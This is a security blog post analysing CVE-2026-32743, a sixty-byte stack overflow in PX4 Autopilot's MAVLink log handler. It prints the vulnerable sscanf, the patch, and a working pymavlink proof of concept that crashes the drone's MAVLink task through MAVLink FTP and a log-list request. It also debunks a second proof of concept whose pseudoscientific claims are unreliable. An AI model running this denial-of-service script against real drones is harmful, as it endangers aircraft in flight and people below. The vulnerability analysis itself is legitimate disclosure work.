//nefariousplan

CVE-2026-32743: PX4's Sixty-Byte Filepath, And A Temporal Cascade That Is A For Loop

patterns

cve

proof of concept

CVE-2026-32743 is sixty bytes of stack and one missing width specifier in PX4 Autopilot's MavlinkLogHandler. An adjacent attacker creates a directory under /fs/microsd/log/ whose name is longer than sixty bytes, sends MAV_CMD_REQUEST_LOG_LIST, and the autopilot's MAVLink task takes a stack overwrite. The drone keeps flying. The operator stops talking to it. Whatever the failsafe is configured to (return-to-launch, hover, land in place), the mission is over.

Two PoCs are public. One sends the exploit. The other claims it is held together by Riemann zeros, and its headline script never sends the packet that reaches the bug.

The bug is one sscanf and a sixty-byte buffer

PX4 Autopilot is the open-source flight stack that ships on Pixhawk, Holybro, mRo, ModalAI, and the long tail of industrial drones nobody puts on a press release. Mission planners use MAVLink to talk to it. MAVLink runs on UDP 14550, on serial-bridged radio links, on telemetry modems wired into a ground control station. The CVSS vector for this CVE is AV:A, adjacent network. The reader who runs PX4 in production already knows what adjacent means: the WiFi link to the companion computer, the radio channel that anyone on the segment can join.

The vulnerable function lives in src/modules/mavlink/mavlink_log_handler.cpp. It reads a list of log files from a temporary file the autopilot writes for itself when it enumerates /fs/microsd/log/. Each line in that file is three whitespace-separated tokens: a UTC timestamp, a size in bytes, and the path of the log file. MavlinkLogHandler::log_entry_from_id parses each line with sscanf and writes the path token into a struct member.

struct LogEntry {
    uint16_t id{0xffff};
    uint32_t time_utc{};
    uint32_t size_bytes{};
    FILE *fp{nullptr};
    char filepath[60];
    uint32_t offset{};
};

The buffer is sixty bytes. The sscanf had no width specifier:

if (sscanf(line, "%" PRIu32 " %" PRIu32 " %s",
           &(entry->time_utc), &(entry->size_bytes), entry->filepath) != 3) {
    PX4_DEBUG("sscanf failed");
    continue;
}

The %s reads until whitespace. The line comes from a file the autopilot wrote, listing names the autopilot enumerated. The autopilot does not enumerate hostile filenames in normal operation. The autopilot does enumerate whatever sits in /fs/microsd/log/, and an adjacent attacker with MAVLink FTP access can put whatever they want in there.

MAVLink FTP is the precondition

The MAVLink protocol's FILE_TRANSFER_PROTOCOL message implements a small filesystem protocol over the link. Open, read, write, list, create directory. The MAV_FTP_OPCODE_CREATEDIR opcode takes a path string and creates the directory. The path is bounded by the size of the MAVLink payload (up to 251 bytes for the path field). Sixty is well inside that.

The attack flow is three messages.

# 1. Open MAVLink, wait for heartbeat.
master = mavutil.mavlink_connection(f"udpout:{target_ip}:{target_port}")
master.wait_heartbeat()

# 2. Create a long directory under /fs/microsd/log/ via MAVLink FTP.
long_dir_name = "A" * 70
full_path = f"/fs/microsd/log/{long_dir_name}"
ftp_create_directory(master, full_path)

# 3. Request the log list, the autopilot enumerates the directory and
#    walks the listing back into LogEntry::filepath[60].
master.mav.command_long_send(
    master.target_system,
    master.target_component,
    mavlink2.MAV_CMD_REQUEST_LOG_LIST,
    0,
    0, 0, 0, 0, 0, 0, 0
)

The autopilot responds to REQUEST_LOG_LIST by enumerating /fs/microsd/log/, writing the listing to a temporary file, and walking the file. The listing line for the long-named directory feeds sscanf, the path token blows past sixty bytes into whatever sits next to LogEntry::filepath in the struct. The MAVLink task crashes. The drone enters telemetry-loss failsafe, which is whatever the operator configured: return-to-launch, hover, land in place. None of those are normal operation.

The CVE description, the patch, and the original PoC all agree on this. The patch agrees most clearly. It widens the sscanf width specifier, enlarges LogEntry::filepath from 60 to PX4_MAX_FILEPATH, and adds a static_assert that the scanf width is smaller than the buffer.

-    char filepath[60];
+    char filepath[PX4_MAX_FILEPATH];
-    if (sscanf(line, "%" PRIu32 " %" PRIu32 " %s",
-               &(entry->time_utc), &(entry->size_bytes), entry->filepath) != 3) {
+    if (sscanf(line, "%" PRIu32 " %" PRIu32 " %" STRINGIFY(PX4_MAX_FILEPATH_SCANF) "s",
+               &(entry->time_utc), &(entry->size_bytes), entry->filepath) != 3) {
+static_assert(PX4_MAX_FILEPATH_SCANF < PX4_MAX_FILEPATH,
+              "sscanf width specifier must be less than filepath buffer size");

The static_assert is the part that names the long-running gap. PX4's developers had a PX4_MAX_FILEPATH macro and a sixty-byte struct member at the same time, in the same module, and never connected them. The build now refuses to compile if the connection breaks.

The first PoC is the bug

Two PoCs are linked from the CVE row. The first is from Mohammed Idrees Banyamer (@banyamer_security), authored on 2026-05-08. It is thirty lines of pymavlink. It opens the link, creates a long directory under /fs/microsd/log/, sends REQUEST_LOG_LIST, and observes silence. It cites the patch commit. It cites the affected version. It says what it is.

def exploit(target_ip, target_port):
    master = mavutil.mavlink_connection(f"udpout:{target_ip}:{target_port}")
    master.wait_heartbeat()

    long_dir_name = "A" * 70
    full_path = f"/fs/microsd/log/{long_dir_name}"
    ftp_create_directory(master, full_path)

    master.mav.command_long_send(
        master.target_system, master.target_component,
        mavlink2.MAV_CMD_REQUEST_LOG_LIST,
        0, 0, 0, 0, 0, 0, 0, 0
    )

    time.sleep(5)
    try:
        master.mav.heartbeat_send(mavlink2.MAV_TYPE_GCS, mavlink2.MAV_AUTOPILOT_GENERIC)
        print("[-] Target still responsive.")
    except Exception:
        print("[+] Target unresponsive, DoS achieved.")

Three meaningful messages. Bug reached. MAVLink dies. The README's CVSS chip says 7.5 and the vector says AV:N, both of which are upgrades over the official 6.5 / AV:A, but the code does what the code claims. This is the PoC the CVE is for.

The second PoC is a for loop

The second PoC is SimoesCTT/CTT-Enhanced-PX4-Autopilot-Exploit-CVE-2026-32743. The README is fifty-five lines longer than Banyamer's and credits "CTT enhancement" to one Americo Simoes of "CTT Research." It claims a CVSS upgrade from 6.5 (Medium) to 9.8 (Critical), an attack-vector upgrade from Adjacent to Network, persistence "across reboot via temporal resonance," and EDR evasion via a "temporal wedge filter at τ_w = 11 ns." It opens with a table of "CTT Physics Constants": α = 0.0302011 (temporal dispersion coefficient), α_RH = 0.0765872 (Riemann-Hadamard, ln(φ)/2π), L = 33 (temporal layers), τ_w = 11 ns (temporal wedge filter).

The headline file in the repository is CTT-Enhanced-PX4-Autopilot-Exploit-CVE-2026-32743.py. Its ftp_create_long_directory method, the function that reaches the bug, is this:

def ftp_create_long_directory(self, layer):
    priority = math.exp(-ALPHA * layer)
    path_length = 60 + int(priority * 40)
    layer_chars = ctt_layer_encoding(layer)
    dir_name = layer_chars[:path_length]
    full_path = f"/fs/microsd/log/{dir_name}"

    try:
        # Original FTP logic (simplified for CTT enhancement)
        # In practice, this would use mav.file_transfer_protocol_encode
        print(f"    [+] Created directory via FTP")
        return True
    except Exception as e:
        print(f"    [-] FTP failed: {e}")
        return False

The function does not send an FTP packet. It computes a path string, prints "Created directory via FTP," and returns True. The bug requires a long-named directory in /fs/microsd/log/. The headline file does not create one. The trigger_overflow method that follows does send MAV_CMD_REQUEST_LOG_LIST, and the autopilot dutifully enumerates a log directory that contains nothing the attacker put there. No long path. No overflow. No crash. The script then prints [+] Overflow delivered, wedge survival confirmed, sleeps, and concludes with [!!!] DRONE COMPROMISED.

The thirty-three layers are a for loop:

for layer in range(1, LAYERS + 1):
    if not self.ftp_create_long_directory(layer):
        continue
    if self.trigger_overflow(layer):
        self.layers_completed += 1
        if self.layers_completed >= 3:
            print(f"\n[⚡] Temporal resonance achieved at layer {layer}")
            return True

The "phase resonance delay" the README invokes is a time.sleep of 11e-9 * exp(-α * layer) * (1 + 0.1 * cos(2π * zero * t)). Eleven nanoseconds is well below the resolution of the OS scheduler. The cosine factor swings the value between roughly ten and twelve nanoseconds. Python's time.sleep rounds it to zero on every iteration. The "Riemann zero" lookup table holds the first twenty-four imaginary parts of the nontrivial zeros of the zeta function. None of them survive time.sleep.

The "temporal wedge filter" is this:

def temporal_wedge_filter(payload_len, layer):
    energy = payload_len * math.exp(-ALPHA * layer)
    survival = math.cos(ALPHA_RH * energy * TAU_W)
    return survival > (ALPHA_RH / (2 * math.pi))

ALPHA_RH is ln(φ)/2π ≈ 0.0766. TAU_W is 1.1e-8. For typical energy values of order sixty, the argument to cos() is on the order of 5e-8 radians. cos(5e-8) ≈ 1.0. The threshold ALPHA_RH / (2π) ≈ 0.0122. 1.0 > 0.0122 is True for every value of payload_len and layer the script will ever produce. The temporal wedge filter is a math.cos() check that returns True for every input. Network-side, the same MAVLink commands go out, or in the headline file's case, the same MAVLink commands do not go out, regardless of whether the wedge fires.

Riemann zeros do not survive reboot

The CTT-Enhanced README presents a comparison table. It is worth walking column by column, because every row makes a claim the underlying bug cannot support.

CVSS: 6.5 → 9.8. The CVSS vector is a property of the bug, not of the loop count. The bug reaches the autopilot's MAVLink task over an adjacent link and crashes it. Iterating thirty-three times does not put the link on the public internet.

Attack Vector: Adjacent → Network. See above. MAVLink is bound to the autopilot's link layer. The CTT script sends UDP to the same target_ip Banyamer's script sends to. Same socket. Same segment. Same vector.

Privileges Required: Low → None. The original CVSS vector is PR:N. The "Low" claim is an inflation against the actual CVE record, then "upgraded" to the value the record already has.

Detection: Signature-based → Temporal wedge filtered (τ_w = 11 ns). There is no signature-based MAVLink IDS running on a Pixhawk. There is no EDR running on a NuttX flight controller. The wedge filter affects whether the Python script calls print. The packets on the wire are MAVLink FILE_TRANSFER_PROTOCOL and COMMAND_LONG either way.

Persistence: Reboot clears → Temporal resonance, survives reboot. This is the part that is incidentally true, for a reason that has nothing to do with temporal resonance. If the long-named directory was successfully created in /fs/microsd/log/, the SD card filesystem holds it. On reboot, the autopilot enumerates the same directory, the same sscanf overflows the same buffer, the MAVLink task crashes again. The persistence vector is the SD card, which holds files between power cycles by design. A user with the SD card in hand removes the directory, the autopilot recovers. There is no temporal resonance. There is mkdir.

The README closes on "You cannot patch a physical constant. You cannot patch the Riemann zeros." The patch closes this CVE in two source-level changes (width specifier, buffer size) and one build-level change (static_assert). Neither line touches a Riemann zero. The Riemann zeros were not load-bearing.

The substrate decides whether DoS is RCE

Both public PoCs demonstrate denial of service. Neither demonstrates code execution. That division is a property of the substrate, not the source. PX4 builds for NuttX produce binaries without the standard exploit mitigations: no PIE, weak or absent stack canaries, no FORTIFY_SOURCE on the affected compile unit. A sscanf write past the end of LogEntry::filepath[60] on a binary with a stack canary is a controlled crash. On a binary with PIE plus a canary, the same write requires a separate leak before any control of execution. PX4's MAVLink stack ships without those guarantees, so the question of whether this bug is RCE is open and is decided per-firmware, per-board, per-target. This is the Unmitigated Binary shape: the build, not the source, decides exploitability.

The patch closes the source-level overflow. It does not rebuild the binary with PIE. It does not turn on -fstack-protector-strong. The next memory bug in the autopilot's MAVLink stack lands on the same substrate.

Theatrical reissue is the class

CVE-2026-32743 surfaced one real bug, one real PoC from a researcher who knows what pymavlink does, and one PoC from a separate party who took the first researcher's structure, replaced the working FTP send with a print statement, prepended the first twenty-four Riemann zeros, and claimed a critical-severity upgrade.

This is the shape we are calling Theatrical Reissue, and the post is naming it for the catalog. An existing CVE and an existing working PoC are republished by a separate author with mathematical-sounding pseudoscience added to the loop structure (Riemann zeros, "temporal" modifiers, exponential decay constants), claiming a severity upgrade the underlying bug cannot support. The added math is decorative. In many cases the headlining script does not reach the original exploit primitive, because the author republished the original PoC's structure while replacing the working network call with a print statement.

The cost is borne elsewhere. Vulnerability scanners that count PoC repositories see two and rank the candidate higher. Mass scanners pulling top-starred repos for "weaponization" pull both. Researchers reading the CVE for triage spend the first thirty minutes decoding the math salad and confirming the original PoC is the one that works. The original researcher's name gets buried under the cosplayer's. We needed two passes through the headline file to confirm it does not send a packet, because the README and the function names are written to make the reader assume it does.

The drone in the README falls from the sky. In the code, the FTP packet was never sent.

PoCs:

Patch: PX4/PX4-Autopilot@616b25a.

The temporal cascade is a for loop. Riemann zeros do not survive reboot.